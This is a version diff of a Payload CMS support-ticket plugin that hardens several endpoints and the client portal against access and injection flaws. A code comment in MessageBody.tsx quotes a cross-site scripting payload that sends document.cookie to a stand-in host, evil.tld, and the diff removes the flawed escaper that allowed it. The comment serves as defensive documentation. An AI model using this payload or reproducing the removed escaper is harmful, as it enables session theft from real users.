@consilioweb/payload-support 2.0.1 → 4.0.0

package/src/endpoints/typing.ts

@@ -1,10 +1,36 @@
-import type { Endpoint } from 'payload'
+import type { Endpoint, PayloadRequest } from 'payload'
 import type { CollectionSlugs } from '../utils/slugs'
+import { dbFindByID } from '../utils/db'
 
-// In-memory typing state (ticketId -> { admin?: timestamp, client?: timestamp })
+/**
+ * Ephemeral "someone is typing" state, process-local.
+ *
+ * Three properties this map MUST keep, because it is fed by an HTTP endpoint:
+ *  - keys are shaped like ticket ids, never a caller-supplied blob;
+ *  - a key is only created by a principal that can actually READ that ticket;
+ *  - the map is bounded, and expired entries are reclaimed without depending on
+ *    a matching GET (`cleanExpired` used to run only on the read path, for the
+ *    single id being read — nothing ever swept the rest).
+ */
 const typingState = new Map<string, { admin?: number; client?: number; adminName?: string; clientName?: string }>()
 
 const TYPING_TTL = 5000 // 5 seconds
+/** Hard ceiling on distinct ticket ids held at once — the state lives 5s. */
+const MAX_TYPING_KEYS = 500
+
+/**
+ * Ids are integers on SQL adapters and hex ObjectIds on Mongo, so the shape is
+ * validated rather than the type: printable id characters, bounded length. This
+ * caps the key SIZE; the access check below caps their NUMBER.
+ */
+const TICKET_ID_PATTERN = /^[A-Za-z0-9_-]{1,64}$/
+
+function normalizeTicketId(raw: unknown): string | null {
+  if (typeof raw === 'number') return Number.isInteger(raw) && raw > 0 ? String(raw) : null
+  if (typeof raw !== 'string') return null
+  const value = raw.trim()
+  return TICKET_ID_PATTERN.test(value) ? value : null
+}
 
 function cleanExpired(ticketId: string) {
   const state = typingState.get(ticketId)
@@ -21,6 +47,53 @@ function cleanExpired(ticketId: string) {
   if (!state.admin && !state.client) typingState.delete(ticketId)
 }
 
+/** Reclaims every expired entry — the map is at most MAX_TYPING_KEYS long. */
+function sweepExpired() {
+  for (const key of Array.from(typingState.keys())) cleanExpired(key)
+}
+
+/** Oldest signal first, so the ceiling evicts the least recently active ticket. */
+function evictOldest() {
+  let oldestKey: string | null = null
+  let oldestTs = Infinity
+  for (const [key, state] of typingState) {
+    const ts = Math.max(state.admin || 0, state.client || 0)
+    if (ts < oldestTs) {
+      oldestTs = ts
+      oldestKey = key
+    }
+  }
+  if (oldestKey !== null) typingState.delete(oldestKey)
+}
+
+/**
+ * Can this principal see this ticket? Delegates to the `tickets` collection
+ * access rules — the SAME source of truth the rest of the plugin reads through
+ * (owner, collaborator, team scoping), instead of a second implementation that
+ * would drift from it. Any other auth collection of the host app is refused
+ * outright: the endpoint only ever spoke for staff and support-clients.
+ */
+async function mayAccessTicket(
+  req: PayloadRequest,
+  slugs: CollectionSlugs,
+  ticketId: string,
+): Promise<boolean> {
+  const collection = (req.user as { collection?: string } | null)?.collection
+  if (collection !== slugs.users && collection !== slugs.supportClients) return false
+  try {
+    const doc = await dbFindByID(req.payload, slugs.tickets, {
+      id: ticketId,
+      depth: 0,
+      overrideAccess: false,
+      user: req.user,
+    })
+    return !!doc
+  } catch {
+    // Forbidden or NotFound — same answer either way, so no existence oracle.
+    return false
+  }
+}
+
 /**
  * POST /api/support/typing — Signal that user is typing
  */
@@ -34,14 +107,23 @@ export function createTypingPostEndpoint(slugs: CollectionSlugs): Endpoint {
           return Response.json({ error: 'Unauthorized' }, { status: 401 })
         }
 
-        const { ticketId } = (await req.json!()) as { ticketId: number }
-        if (!ticketId) {
+        const { ticketId } = (await req.json!()) as { ticketId?: unknown }
+        const key = normalizeTicketId(ticketId)
+        if (!key) {
           return Response.json({ error: 'ticketId required' }, { status: 400 })
         }
 
-        const key = String(ticketId)
+        if (!(await mayAccessTicket(req, slugs, key))) {
+          return Response.json({ error: 'Forbidden' }, { status: 403 })
+        }
+
         const state = typingState.get(key) || {}
 
+        if (!typingState.has(key) && typingState.size >= MAX_TYPING_KEYS) {
+          sweepExpired()
+          if (typingState.size >= MAX_TYPING_KEYS) evictOldest()
+        }
+
         if (req.user.collection === slugs.users) {
           state.admin = Date.now()
           state.adminName = (req.user as any).firstName || 'Support'
@@ -67,35 +149,56 @@ export function createTypingGetEndpoint(slugs: CollectionSlugs): Endpoint {
     path: '/support/typing',
     method: 'get',
     handler: async (req) => {
+      const idle = { typing: false, name: null }
       try {
         if (!req.user) {
           return Response.json({ error: 'Unauthorized' }, { status: 401 })
         }
 
         const url = new URL(req.url!)
-        const ticketId = url.searchParams.get('ticketId')
-        if (!ticketId) {
+        const key = normalizeTicketId(url.searchParams.get('ticketId'))
+        if (!key) {
           return Response.json({ error: 'ticketId required' }, { status: 400 })
         }
 
-        cleanExpired(ticketId)
-        const state = typingState.get(ticketId)
+        cleanExpired(key)
+        const state = typingState.get(key)
+
+        // Nothing to disclose: answer without touching the database. A caller
+        // with no right to the ticket gets this exact body too, so "idle" and
+        // "not yours" stay indistinguishable — and the 2s poll of every open
+        // ticket page costs no query in the common case.
+        if (!state) return Response.json(idle)
+
+        // There IS a name to hand out (the agent's first name, historically
+        // served to any authenticated caller for any ticket id) — check first.
+        if (!(await mayAccessTicket(req, slugs, key))) return Response.json(idle)
 
         // Admin sees client typing, client sees admin typing
         if (req.user.collection === slugs.users) {
           return Response.json({
-            typing: !!state?.client,
-            name: state?.clientName || null,
+            typing: !!state.client,
+            name: state.clientName || null,
           })
         } else {
           return Response.json({
-            typing: !!state?.admin,
-            name: state?.adminName || null,
+            typing: !!state.admin,
+            name: state.adminName || null,
           })
         }
       } catch {
-        return Response.json({ typing: false, name: null })
+        return Response.json(idle)
       }
     },
   }
 }
+
+/** Test seam — the module-level map must not leak state across test cases. */
+export function __resetTypingStateForTests(): void {
+  typingState.clear()
+}
+
+/** Test seam — the ceiling is the point of the fix, so it must be observable. */
+export function __typingStateSizeForTests(): number {
+  return typingState.size
+}

package/src/endpoints/user-prefs.ts

@@ -30,8 +30,11 @@ export function createUserPrefsGetEndpoint(slugs: CollectionSlugs): Endpoint {
 
         const key = `${PREF_KEY_PREFIX}-${req.user!.id}`
 
+        // Scope to the staff auth collection: `payload-preferences` accepts a
+        // write from ANY authenticated principal, and ids collide between auth
+        // collections.
         const prefs = await dbFind(payload, 'payload-preferences', {
-          where: { key: { equals: key } },
+          where: { key: { equals: key }, 'user.relationTo': { equals: slugs.users } },
           limit: 1,
           depth: 0,
           overrideAccess: true,
@@ -75,7 +78,7 @@ export function createUserPrefsPostEndpoint(slugs: CollectionSlugs): Endpoint {
 
         // Read existing prefs to merge
         const existing = await dbFind(payload, 'payload-preferences', {
-          where: { key: { equals: key } },
+          where: { key: { equals: key }, 'user.relationTo': { equals: slugs.users } },
           limit: 1,
           depth: 0,
           overrideAccess: true,

package/src/index.ts

@@ -21,8 +21,12 @@ export { DEFAULT_FEATURES } from './types'
 // Utils
 export { resolveSlugs, DEFAULT_SLUGS } from './utils/slugs'
 export type { CollectionSlugs } from './utils/slugs'
-export { readSupportSettings, readUserPrefs, DEFAULT_SETTINGS, DEFAULT_USER_PREFS } from './utils/readSettings'
-export type { SupportSettings, UserPrefs } from './utils/readSettings'
+export { readSupportSettings, readSupportSettingsState, readUserPrefs, DEFAULT_SETTINGS, DEFAULT_USER_PREFS } from './utils/readSettings'
+export type { SupportSettings, SupportSettingsState, UserPrefs } from './utils/readSettings'
+// Runtime feature flags (server-authoritative, see utils/features.ts). Distinct
+// from the build-time `SupportFeatures` passed to `supportPlugin()`.
+export { DEFAULT_TICKETING_FEATURES, normalizeFeatures, projectAutoClose, stripProjectedFeatures } from './utils/features'
+export type { TicketingFeatures } from './utils/features'
 export { MemoryRateLimitStore, PayloadRateLimitStore, RateLimiter } from './utils/rateLimiter'
 export type { RateLimitEntry, RateLimitStore } from './utils/rateLimiter'
 export { DEFAULT_INBOUND_EMAIL_LIMITS, validateInboundEmailPayload, verifySecret } from './utils/webhookSecurity'

package/src/plugin.ts

@@ -31,6 +31,7 @@ import {
   createSupportCountersCollection,
 } from './collections'
 import { PayloadRateLimitStore } from './utils/rateLimiter'
+import { SUPPORT_STAFF_SLUG_CONFIG_KEY } from './utils/readSettings'
 
 function viewConfig(component: string, path: string): AdminViewConfig {
   return { Component: component, path: path as `/${string}` }
@@ -169,6 +170,17 @@ export function supportPlugin(config?: SupportPluginConfig): Plugin {
 
     return {
       ...incomingConfig,
+      // Publish the resolved staff collection so the server-side readers share
+      // ONE source of truth with the writers. `requireAdmin` compares against
+      // `slugs.users`; the `payload-preferences` reads used to scope themselves
+      // on `config.admin.user`, which Payload silently defaults to the first
+      // auth collection of the host app — a different collection on any app
+      // that declares `collectionSlugs.users`, and the settings-poisoning hole
+      // reopened right there.
+      custom: {
+        ...incomingConfig.custom,
+        [SUPPORT_STAFF_SLUG_CONFIG_KEY]: slugs.users,
+      },
       collections: config?.skipCollections
         ? existingCollections
         : [...existingCollections, ...supportCollections],

package/src/portal/LiveChat.tsx

@@ -29,6 +29,13 @@ export function LiveChat() {
   const lastFetchRef = useRef<string | null>(null)
   const inputRef = useRef<HTMLInputElement>(null)
   const pollIntervalRef = useRef<ReturnType<typeof setTimeout> | null>(null)
+  // Mirror of `messages`. The poll decision (and the unread badge) MUST be taken
+  // outside the setMessages updater: React skips the updater on the eager-state
+  // path, so a flag assigned inside it is only ever written on the very first
+  // update — after which `hasNewMessages` stays false, the adaptive backoff climbs
+  // to its 30 s ceiling and never comes back down, mid-conversation. Same pattern
+  // as ChatWidget.tsx.
+  const messagesRef = useRef<ChatMessage[]>([])
 
   // Load session from localStorage on mount
   useEffect(() => {
@@ -42,6 +49,7 @@ export function LiveChat() {
 
   // Auto-scroll to bottom when messages change
   useEffect(() => {
+    messagesRef.current = messages
     messagesEndRef.current?.scrollIntoView({ behavior: 'smooth' })
   }, [messages])
 
@@ -61,31 +69,32 @@ export function LiveChat() {
 
       const data = await res.json()
       if (data.messages?.length > 0) {
-        let hadNewMessages = false
-        setMessages((prev) => {
-          const existingIds = new Set(prev.map((m) => String(m.id)))
-          const newMsgs = data.messages.filter(
-            (m: ChatMessage) => !existingIds.has(String(m.id)),
-          )
-          if (newMsgs.length === 0) return prev
-
-          hadNewMessages = true
-
-          // Count agent messages as unread if chat panel is closed
-          if (screen === 'closed') {
-            const agentNewMsgs = newMsgs.filter(
-              (m: ChatMessage) => m.senderType === 'agent',
-            )
-            if (agentNewMsgs.length > 0) {
-              setUnreadCount((prev) => prev + agentNewMsgs.length)
-            }
+        const existingIds = new Set(messagesRef.current.map((m) => String(m.id)))
+        const newMsgs: ChatMessage[] = data.messages.filter(
+          (m: ChatMessage) => !existingIds.has(String(m.id)),
+        )
+        lastFetchRef.current = data.messages[data.messages.length - 1].createdAt
+        if (newMsgs.length === 0) return false
+
+        // Count agent messages as unread if chat panel is closed. Kept OUT of the
+        // updater: nesting a setState there also double-counted the badge under
+        // StrictMode's double invocation in dev.
+        if (screen === 'closed') {
+          const agentNewMsgs = newMsgs.filter((m) => m.senderType === 'agent')
+          if (agentNewMsgs.length > 0) {
+            setUnreadCount((prev) => prev + agentNewMsgs.length)
           }
+        }
 
-          return [...prev, ...newMsgs]
+        setMessages((prev) => {
+          // Re-dedupe against the authoritative state: the mirror can lag by one
+          // commit if a message was appended optimistically in the meantime.
+          const prevIds = new Set(prev.map((m) => String(m.id)))
+          const trulyNew = newMsgs.filter((m) => !prevIds.has(String(m.id)))
+          if (trulyNew.length === 0) return prev
+          return [...prev, ...trulyNew]
         })
-        lastFetchRef.current =
-          data.messages[data.messages.length - 1].createdAt
-        return hadNewMessages
+        return true
       }
       return false
     } catch {
@@ -127,6 +136,8 @@ export function LiveChat() {
       // If we have a session, fetch messages
       if (session.sessionId) {
         lastFetchRef.current = null
+        // Synchronous too: pollMessages() runs before the mirroring effect commits.
+        messagesRef.current = []
         setMessages([])
         pollMessages()
       }

package/src/portal/auth/layout.tsx

@@ -18,8 +18,26 @@ export type SupportUser = {
   collection: 'support-clients'
 }
 
+/**
+ * The ONLY reliable discriminant is the auth collection the session belongs to.
+ *
+ * This used to be a duck test on the presence of a `company` field, which any
+ * user of another auth collection of the host app (front-office members,
+ * subscribers — `company` is a very common field on such a document) satisfied:
+ * they entered the portal shell instead of being redirected to the login page.
+ *
+ * `'support-clients'` is hard-coded on purpose — every other portal file already
+ * hard-codes it (`/api/support-clients/login`, `/api/support-clients/me`, the
+ * `user.collection` tests in `tickets/detail/page.tsx`), because the portal is a
+ * copied template with no access to the plugin's resolved `collectionSlugs`. An
+ * integrator who renames the collection must adjust the whole template.
+ */
 function isSupportUser(user: unknown): user is SupportUser {
-  return typeof user === 'object' && user !== null && 'company' in user
+  return (
+    typeof user === 'object' &&
+    user !== null &&
+    (user as { collection?: unknown }).collection === 'support-clients'
+  )
 }
 
 async function getSupportUser(): Promise<SupportUser | null> {

package/src/portal/auth/tickets/detail/MessageBody.tsx

@@ -0,0 +1,88 @@
+import React from 'react'
+
+/**
+ * Plain-text message bodies (`msg.body` with no `bodyHtml`) rendered as JSX.
+ *
+ * This used to be a `dangerouslySetInnerHTML` fed by a hand-rolled escaper that
+ * replaced `&`, `<` and `>` but NOT the double quote, then re-injected the link
+ * target into `href="$2"`. Since the URL pattern accepts every character but
+ * whitespace and `)`, a body such as
+ *
+ *     [code:1](https://a"/onmouseover="fetch(`//evil.tld/?c=`+document.cookie))
+ *
+ * closed the `href` attribute and added a real event-handler attribute.
+ * `msg.body` is attacker-controlled from OUTSIDE the tenant: the inbound-email
+ * pipeline copies `pendingEmail.body` verbatim into a ticket message
+ * (`endpoints/pending-emails-process.ts`), and `sanitizeMessageHtml` only ever
+ * looks at `bodyHtml`.
+ *
+ * The fix is to stop building HTML: React escapes text nodes and attribute
+ * values on its own, so no quoting mistake is possible. The URL is additionally
+ * parsed and restricted to http/https before it reaches an `href`.
+ *
+ * Newlines need no `<br/>`: the wrapper carries `whitespace-pre-wrap`.
+ */
+
+/** `[code:12](https://…)` — the shared-code link marker posted by the agent console. */
+const CODE_LINK_RE = /\[code:(\d+)\]\((https?:\/\/[^\s)]+)\)/g
+
+/** Returns the URL only when it parses AND uses an http(s) scheme; null otherwise. */
+export function safeHttpUrl(raw: string): string | null {
+  try {
+    const url = new URL(raw)
+    if (url.protocol !== 'http:' && url.protocol !== 'https:') return null
+    return url.toString()
+  } catch {
+    return null
+  }
+}
+
+/**
+ * Split a plain-text body into text nodes and `<a>` elements.
+ * Exported (rather than inlined in the page) so the escaping contract is
+ * unit-testable — the page itself imports `@payload-config` and cannot be
+ * loaded from a test.
+ */
+export function renderPlainMessageBody(body: string): React.ReactNode[] {
+  const nodes: React.ReactNode[] = []
+  const re = new RegExp(CODE_LINK_RE.source, 'g')
+  let lastIndex = 0
+  let match: RegExpExecArray | null
+
+  while ((match = re.exec(body)) !== null) {
+    if (match.index > lastIndex) nodes.push(body.slice(lastIndex, match.index))
+
+    const href = safeHttpUrl(match[2])
+    if (href) {
+      nodes.push(
+        <a
+          key={`code-${match.index}`}
+          href={href}
+          target="_blank"
+          rel="noopener noreferrer"
+          className="text-blue-600 underline font-semibold"
+        >
+          🔗 Voir le code partagé
+        </a>,
+      )
+    } else {
+      // Not a usable link — show the raw marker as text rather than dropping it.
+      nodes.push(match[0])
+    }
+
+    lastIndex = match.index + match[0].length
+  }
+
+  if (lastIndex < body.length) nodes.push(body.slice(lastIndex))
+  return nodes
+}
+
+export function PlainMessageBody({ body }: { body: string }) {
+  return (
+    <div className="whitespace-pre-wrap text-sm leading-relaxed">
+      {renderPlainMessageBody(body ?? '').map((node, i) => (
+        <React.Fragment key={i}>{node}</React.Fragment>
+      ))}
+    </div>
+  )
+}

package/src/portal/auth/tickets/detail/TicketPolling.tsx

@@ -30,8 +30,12 @@ export function TicketPolling({
 
     const interval = setInterval(async () => {
       try {
+        // `/count` returns a single number. The previous limit=0 idiom did NOT return
+        // zero documents — Payload disables pagination for limit=0 and derives
+        // totalDocs from the rows it materialised, so every open portal tab used to
+        // re-download its whole conversation every 30 s to read one counter.
         const res = await fetch(
-          `/api/ticket-messages?where[ticket][equals]=${ticketId}&limit=0&depth=0`,
+          `/api/ticket-messages/count?where[ticket][equals]=${ticketId}`,
           { credentials: 'include' },
         )
         if (res.status === 401 || res.status === 403) {

package/src/portal/auth/tickets/detail/page.tsx

@@ -16,6 +16,7 @@ import { TypingIndicator } from './TypingIndicator'
 import { MessageActions, EditedBadge, DeletedMessage } from './MessageActions'
 import { ReadReceipt } from './ReadReceipt'
 import { TransferAndInviteActions } from './TransferAndInviteActions'
+import { PlainMessageBody } from './MessageBody'
 // Document type for ticket attachments
 type PayloadDocument = { filename?: string; title?: string; url?: string }
 
@@ -655,12 +656,7 @@ export default async function TicketDetailPage({ params }: { params: Promise<{ i
                             dangerouslySetInnerHTML={{ __html: msg.bodyHtml }}
                           />
                         ) : (
-                          <div className="whitespace-pre-wrap text-sm leading-relaxed" dangerouslySetInnerHTML={{
-                            __html: msg.body
-                              .replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;')
-                              .replace(/\[code:(\d+)\]\((https?:\/\/[^\s)]+)\)/g, '<a href="$2" target="_blank" rel="noopener noreferrer" class="text-blue-600 underline font-semibold">🔗 Voir le code partagé</a>')
-                              .replace(/\n/g, '<br/>')
-                          }} />
+                          <PlainMessageBody body={msg.body} />
                         )}
 
                         {/* Attachments */}

package/src/portal/login/page.tsx

@@ -32,6 +32,10 @@ function SupportLoginContent() {
 
   // 2FA state
   const [needs2FA, setNeeds2FA] = useState(false)
+  // Proof that the password step succeeded, minted by /support/login. Required
+  // by /support/2fa {action:'send'} — that endpoint no longer sends a code to
+  // anyone who merely knows the address.
+  const [challenge, setChallenge] = useState('')
   const [twoFactorCode, setTwoFactorCode] = useState('')
   const [sending2FA, setSending2FA] = useState(false)
 
@@ -60,10 +64,11 @@ function SupportLoginContent() {
       if (data.requires2FA) {
         // Send 2FA code
         setSending2FA(true)
+        setChallenge(data.challenge || '')
         const codeRes = await fetch('/api/support/2fa', {
           method: 'POST',
           headers: { 'Content-Type': 'application/json' },
-          body: JSON.stringify({ action: 'send', email }),
+          body: JSON.stringify({ action: 'send', email, challenge: data.challenge }),
         })
 
         if (codeRes.ok) {
@@ -130,12 +135,15 @@ function SupportLoginContent() {
       const res = await fetch('/api/support/2fa', {
         method: 'POST',
         headers: { 'Content-Type': 'application/json' },
-        body: JSON.stringify({ action: 'send', email }),
+        body: JSON.stringify({ action: 'send', email, challenge }),
       })
       if (res.ok) {
         setError('')
       } else {
-        setError('Erreur lors du renvoi du code.')
+        // 401 = the challenge expired (10 min): the password must be re-entered.
+        setError(res.status === 401
+          ? 'Session expirée. Reconnectez-vous pour recevoir un nouveau code.'
+          : 'Erreur lors du renvoi du code.')
       }
     } catch {
       setError('Erreur de connexion.')

package/src/types/lucide-react.d.ts

@@ -1,7 +1,15 @@
 /**
  * Ambient stub for 'lucide-react'.
- * lucide-react is an optional peer dependency — the host application installs it.
- * This stub satisfies TypeScript when the plugin is type-checked in isolation.
+ *
+ * lucide-react is a REQUIRED peer dependency — three unconditionally registered
+ * components import it statically, so a host without it fails at build time.
+ * It is deliberately not a devDependency here; this stub is what lets the plugin
+ * type-check in isolation without pulling the icon set into the repo.
+ *
+ * Keep the icon list below in sync with the actual imports:
+ *   src/portal/LiveChat.tsx
+ *   src/views/PendingEmailsView/client.tsx
+ *   src/views/TicketingSettingsView/client.tsx
  */
 declare module 'lucide-react' {
   import type { FC, SVGProps } from 'react'

package/src/utils/aiAgent.ts

@@ -2,6 +2,7 @@ import type { Payload } from 'payload'
 import type { CollectionSlugs } from './slugs'
 import { readSupportSettings, type SupportSettings } from './readSettings'
 import { dbFind, dbFindByID, dbCreate, dbUpdate } from './db'
+import { resolveOllamaBaseUrl } from './aiProvider'
 
 export interface AgentDecision {
   action: 'reply' | 'escalate'
@@ -61,7 +62,7 @@ export async function applyAgentDecision(
 function getClient(aiSettings: SupportSettings['ai']) {
   const Anthropic = require('@anthropic-ai/sdk').default
   if (aiSettings.provider === 'ollama') {
-    return new Anthropic({ apiKey: 'ollama', baseURL: process.env.OLLAMA_API_URL || 'https://ollama.orkelis.app/v1' })
+    return new Anthropic({ apiKey: 'ollama', baseURL: resolveOllamaBaseUrl() })
   }
   return new Anthropic({ apiKey: process.env.ANTHROPIC_API_KEY })
 }

package/src/utils/aiProvider.ts

@@ -0,0 +1,21 @@
+import { APIError } from 'payload'
+
+/**
+ * Resolve the base URL of the OpenAI-compatible gateway used by the `ollama`
+ * provider.
+ *
+ * There is deliberately NO default here. An integrator who selects `ollama` does
+ * so precisely to keep ticket content off third-party infrastructure; a silent
+ * fallback to any hosted endpoint would ship the whole conversation — subject,
+ * message bodies, client name and company — to a server the operator never chose,
+ * and would do so invisibly because the AI answer still comes back normally.
+ *
+ * Fail loudly instead: a missing `OLLAMA_API_URL` is a configuration error.
+ */
+export function resolveOllamaBaseUrl(): string {
+  const baseURL = process.env.OLLAMA_API_URL
+  if (!baseURL) {
+    throw new APIError("provider 'ollama' requires OLLAMA_API_URL", 500)
+  }
+  return baseURL
+}